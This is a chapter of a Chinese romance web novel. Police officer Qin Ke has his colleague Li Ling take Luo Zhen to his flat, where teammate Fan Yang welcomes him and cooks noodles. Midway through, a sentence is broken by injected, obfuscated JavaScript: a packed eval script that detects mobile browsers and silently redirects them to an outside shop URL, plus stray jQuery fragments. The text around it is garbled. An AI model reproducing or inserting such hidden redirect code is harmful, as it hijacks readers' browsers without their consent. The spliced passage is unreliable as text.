副驾驶上的人安静坐着,只敢用余光偷偷打量身边似乎还在气头上的男人。
接收到洛榛小心翼翼的眼神,秦恪心底那没由来的难过瞬间化成一缕缕更细,更绵长的回声。
无孔不入。
他提了提嘴角,温声道:“没事,我就是突然有点工作要处理,别担心。我让人来把你送回家好吗?”
还未等洛榛回话,秦恪又在车载屏幕上拨通了一个号码。
“李泠,你在队里吗?”
耳机里传出的声音总算让秦恪有了些慰藉。
“……行,那很近,我发你个定位,你过来把你洛教授接走。”
对面答应的很快,没有丝毫犹豫。
就像在接下一个进行过很多遍的日常任务。
洛榛听着这陌生的称呼却是一愣,不自觉地嘟囔出声:“洛教授是谁?”
刚好按下挂断键的秦恪听到洛榛的声音,扶着方向盘的手微微一顿。
“……”
对啊,洛教授是谁?
洛榛不是个玉石店老板吗?
他口误了,李泠也不问清楚吗?
秦恪侧目看向他。
路边早早亮起的灯光随着雨丝倒退,退到洛榛的睫毛之后,落成一汪浮动的碎银。
心中又漾起了一丝奇异的心悸感,鲜活,满足。
秦恪深吸了几口气,极力压下那股异样感:“没事,口误了,我让同事先把你送回家。”
洛榛皱了皱眉,疑惑道:“你知道我家在哪?”
闻言,秦恪同样疑惑地回看他:“当然是回我家啊。”
洛榛被秦恪理所当然的语气说的一噎,喃喃着开口:“这…不太方便吧……”
“你不方便还是我不方便?”秦恪瞥了一眼副驾上的人,轻笑道,“我反正挺方便的。”
“你别忘了,你还是嫌疑人,我得亲自看押你。”
“……”洛榛默着,他知道秦恪的意思。
副驾驶的人乖乖坐着,垂了脑袋。
在秦恪眼里,倒显得有些委屈。
不太好哄……
秦恪轻咳了两声:“行了,你一个人住回你自己家我还不放心呢。今天警察局里那几个人什么德行你也看到了,连警察都能贿赂,手底下刀尖舔血杀手肯定一抓一大把,万一他们找你……”
词句碎成浮冰,缓缓漂远。
秦恪的话他已然听不清了,万语千言落在耳中,只剩一道低低的尾音:
“跟我回家吧。”
像雪夜尽头的一盏灯,固执地亮着。
轮胎碾过路边石子的声响碎在耳畔,车在减速。
秦恪左手拨下右转向灯,嘴里还在喋喋不休:“你不喜欢和陌生人交流,李泠跟你说话你可以不理他。”
“家里我不怎么回去,但每周都有请人去打扫,应该是干净的。”
“到家之后,先让李泠带你去看一圈,缺了什么跟他说,或者你有什么事也都可以找他……”
秦恪思索了半秒,又补充道:“或者给我打电话也行……”
他左手将方向盘朝右带了半圈,右手划开手机,将自己的电话翻出来:“这是我电话……”
副驾驶的人一直没什么回应,秦恪分神看了他一眼。
看到洛榛只是呆呆地看着前方,他撇了撇嘴,语气染上了几分委屈和无奈:“喂……我跟你说话呢,听到了没有啊?”
“好。”洛榛答。
一句句的挂心似春汛那般没有尽头。
琐碎,有力。
秦恪瞥了一眼后视镜,随即推门下车。
夜风灌进来,将秦恪的话一并吹进洛榛耳中:“李泠来了。”
远处那辆车像是在回应秦恪的话,打着双闪靠边停下。
秦恪绕到副驾前拉开车门,手掌虚掩在门框上方。
他站在两道车灯交汇的光里,目送着洛榛离开的背影。
影子被拉长,直到看到李泠同样伸手掩着门框将洛榛送上车后座。
秦恪一手插着口袋,另一只手朝他们的方向轻轻一挥,短促,利落。
……
“五层到了。”
电梯清冷的机械音幽幽响起,李泠带着洛榛直奔走廊尽头的大门。
玄关门锁闪着冷冽的光,被李泠引出的数字键在其上蓝得耀眼。
洛榛微微偏过头,将视线落于门边的一盆绿植上。
李泠按下最后一个数字,门锁“哒”地弹开,他抬起头看向洛榛:“记住了吗?”
洛榛怔愣地回过头。
李泠顺着他的视线瞥了眼被洛榛宠幸许久的绿植,无声地叹了口气。
“一、八、零、七。”李泠重复道,“老大吩咐的,怕你进不去家门。”
家门吗?
细碎的数字融入血液,像雪夜第一朵烟花炸开,灼得他心口发麻。
门刚刚打开一线,里面便有暖黄的灯光涌出来。
这与洛榛的冰冷黑暗的家确实不一样。
客厅中央,樊烊正背光而立,纯白T恤撩到锁骨,肩胛骨在肌肤下起伏。
听见玄关处的动静,他猛的回头,衣服还卡在胸口,腹肌线条被灯光镀上一层毛边。
“卧槽!”
李泠几步冲上前,挡住洛榛看向他的视线。
自觉屏蔽了李泠脸上张牙舞爪的表情,樊烊把T恤拉好,顺手将抹布搭在椅背上。
像是松了一口气。
“秦哥不是让你找家政吗?”李泠终于让开身,将洛榛领到沙发边坐下。
“家政能有我细心?”
李泠无声地翻了个白眼,却忍不住笑:“老大知道又得念叨了,收你进一队是让你扛枪的,又不是扛抹布的。”
他一边说着,也没忘倒一杯水递给洛榛。
“谢谢。”洛榛乖乖接下,将玻璃杯送到嘴边,抿了一口。
樊烊低声笑了笑,视线却是朝着洛榛:“别告诉他不就好了。”
“这是…?”
“都带回家了,你说呢?”李泠眨了眨眼,揶揄道。
“让我去接的,本来老大是想亲自送回来的,可惜纪念馆那里出了点事……”
听着李泠的话,樊烊暗了暗眼神,又抬眼看向洛榛:“嫂子好。”
“???”
“!!!”
“不不不不是!”李泠的手摆的像螺旋桨,眼神手忙脚乱地在两人之间乱瞟,“他他他他…他今天没睡醒…吃错药了……”
“这是老大的朋友,洛榛,洛老板。”
樊烊倒是无所谓地挑了挑眉:“哦,真是你啊。”
“你认识我?”洛榛捧着那杯白开水捂手,惊讶地看向樊烊。
“你的档案,秦哥放在档案夹的第一页,一眼就看到了。”樊烊一边说着,一边转身拉开橱柜。
最上层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015149|182820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一只密封茶饼盒被抽出来,盒底连一粒尘都没有。
“能让老大带回家的朋友你就给人喝白水,长点心吧。”
“我哪有你懂。”李泠嘿嘿一笑,“算了,正好你在这儿,那他就交给你了。”
“洛老板会在这儿住一段时间,你带他熟悉熟悉,我先去老大那边帮忙。”
“行。”
得到回应,李泠将外套搭上肘弯,转身走向玄关。
即将带上门时,他似是想起了什么,回头冲樊烊指了指洛榛,做口型:“很重要。”
樊烊点了点头,看着大门被合拢,那轻响像一声叹息。
“吃过晚饭了吗?”樊烊看向洛榛,问。
洛榛一愣,下意识摇了摇头,却道:“我不饿。”
樊烊不在意地挑了挑眉,自顾自道:“吃面可以吗?”
“……行。”
厨房是开放式,岛台大理石的纹路四散岔开,光滑地像能结出一层霜。
樊烊捞下挂在壁上的围裙,反手系上,利落地打开灶台,把水烧开。
樊烊抬手从橱柜上拿下挂面,再往锅里倒了中午炖的高汤。
汤色清亮,浮着几粒金黄油星。
锅里咕噜咕噜地响着,樊烊拿筷子在锅里打着转,将面挑散。
浅白的蒸汽肆意卷上他的睫毛,凝成细小水珠。
洛榛站在岛台外,指尖无意识地摩挲着。
他看向樊烊的那双眸子被灯光映得极深,像两枚浸在冰水里的墨玉。
“谢谢你救了秦哥。”樊烊没回头,他的声音闷在蒸汽里。
洛榛指尖微蜷,垂眸道:“比起他为我做的,这不算什么。”
“为什么要这样比?”
樊烊关了火,把面倒进白瓷碗。
碗沿薄得几乎透明,像一弯新月。
他抽了一双白瓷筷子搁在碗上,一并推给洛榛。
目光未及,话却未停。
“你不会觉得秦哥是为了报恩才带你回来的吧?”
樊烊轻笑着抬眼,瞳孔里映着对面人微怔的脸。
“要是真因为这点交情就往家带,那这里早成难民所了。”
“可若不是为了报恩,我跟他,也不会有交集。”洛榛拿起筷子,将复杂的情绪同自己一起埋进冉冉升起的蒸汽里。
“这儿是秦哥早前出任务的时候住的房子。任务结束之后,老大他顺带就买下了这套房子。”
“后来,这儿也算是我们一队这些兄弟的秘密基地……”
“我们跟秦哥五六年的交情,才换来这么一张入场券。”樊烊像是自嘲般的笑了一声,指了指玄关。
“你还是小看了这个大门密码的含金量。”
一句话,像一把钥匙,轻轻转动了洛榛胸腔里某道暗锁。
樊烊同洛榛对坐着,他伸手拿下果盘里一个红的极尽突兀的苹果。
他将果皮旋成一条不断的长带,用小刀切成片,整整齐齐地摆在碗里。
“既然来了,就别把自己当外人。”
苹果的香气朝着洛榛迎面扑来,入口的咸香气里混了些清甜。
是洛榛未曾尝过的甜。
窗外,初冬的月亮挂在玉兰枝头头。
像一枚被磨薄的银箔,轻轻一晃,就洒下满地碎光。
屋里,面汤的热气仍在升腾。像是一场无声的雪,妄图覆盖所有未曾显露的热烈与沉沦。